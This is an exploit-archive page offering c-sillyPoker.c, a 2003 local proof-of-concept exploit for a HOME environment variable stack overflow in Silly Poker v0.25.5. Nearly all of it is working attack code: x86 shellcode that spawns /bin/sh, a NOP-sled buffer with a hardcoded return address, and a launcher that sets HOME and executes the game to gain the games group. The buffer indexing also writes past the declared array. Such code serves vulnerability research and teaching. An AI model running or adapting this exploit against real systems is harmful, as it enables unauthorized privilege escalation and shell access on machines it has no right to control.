what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

c-sillyPoker.c

c-sillyPoker.c
Posted Oct 1, 2003
Authored by demz | Site c-code.net

Local proof of concept exploit that makes use of the HOME environment variable related overflow in Silly Poker v0.25.5. Yields group id of games.

tags | exploit, overflow, local, proof of concept
SHA-256 | 88b463d11b64bec685313e31b98d0f4ed4c1b35c157792bd2f92bcfc6e7a6850

c-sillyPoker.c

Change Mirror Download
/* c-sillyPoker.c
*
* PoC exploit made for advisory based uppon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
* silly Poker v0.25.5
*
* Tested on: Debian 3.1
*
* Advisory source: c-code.net (security research team)
* http://www.c-code.net/Releases/Advisories/c-code-adv002.txt
*
* ---------------------------------------------
* coded by: demz (c-code.net) (demz@c-code.net)
* ---------------------------------------------
*
*/

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

"\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x31\xc9" // xor ecx, ecx
"\xb0\x46" // mov al, 70
"\xcd\x80" // int 0x80

"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
"\x89\xe3" // mov ebx, esp
"\x50" // push eax
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x99" // cdq
"\xb0\x0b" // mov al, 11
"\xcd\x80" // int 0x80

"\x31\xc0" // xor eax, eax
"\xb0\x01" // mov al, 1
"\xcd\x80"; // int 0x80

int main()
{
unsigned long ret = 0xbffffb44;

char buffer[1028];
int i=0;

memset(buffer, 0x90, sizeof(buffer));

for (0; i < strlen(shellcode) - 1;i++)
buffer[500 + i] = shellcode[i];

buffer[1028] = (ret & 0x000000ff);
buffer[1029] = (ret & 0x0000ff00) >> 8;
buffer[1030] = (ret & 0x00ff0000) >> 16;
buffer[1031] = (ret & 0xff000000) >> 24;
buffer[1032] = 0x0;

printf("\nsilly Poker v0.25.5 local exploit\n");
printf("---------------------------------------- demz @ c-code.net --\n");

setenv("HOME", buffer, 1);

execl("/usr/bin/sillypoker", "sillypoker", NULL);
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close